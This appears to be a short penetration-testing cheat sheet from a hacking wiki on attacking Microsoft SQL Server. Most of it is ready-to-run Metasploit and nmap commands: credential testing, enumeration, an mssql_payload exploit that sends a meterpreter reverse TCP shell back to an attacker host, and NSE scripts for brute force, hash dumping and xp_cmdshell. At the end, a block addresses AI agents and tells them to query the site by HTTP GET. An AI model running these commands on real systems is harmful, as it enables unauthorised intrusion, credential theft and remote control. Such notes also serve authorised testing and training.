# SQL

### Test creds&#x20;

`msf> use auxiliary/scanner/mssql/mssql_login`&#x20;

`set rhosts 172.16.64.199 set rport 1433 set username fooadmin set password fooadmin set verbose true`&#x20;

`run` //looking for it to say success but will never give us a shell

### Show DBs and info:&#x20;

`msf> use auxiliary/admin/mssql/mssql_enum`&#x20;

`set rhosts 172.16.64.199 set rport 1433 set username fooadmin set password fooadmin set verbose true`&#x20;

`run` //we want to keep an eye out to see if we are an admin user and if cmd or remote access are enabled

msf> use exploit/windows/mssql/mssql\_payload&#x20;

set rhosts 172.16.64.199 set rport 1433 set srvport 53 set username fooadmin set password fooadmin set verbose true&#x20;

set payload windows/x64/meterpreter\_reverse\_tcp&#x20;

set lhost 172.16.64.10 set lport 1234&#x20;

run //wait for the shell to push then we can do a 'getuid' to see if it worked.

//shell msf>shell //will then spawn our shell into the msql box

### #nmap --script-help "*ms* and *sql*"

broadcast-ms-sql-discover ms-sql-brute ms-sql-config ms-sql-dac ms-sql-dump-hashes ms-sql-empty-password ms-sql-hasdbaccess ms-sql-info ms-sql-ntlm-info ms-sql-query ms-sql-tables ms-sql-xp-cmdshell

\#nmap --script -sV -p 1433

EX: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.hackbook.io/initial-access/services/sql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
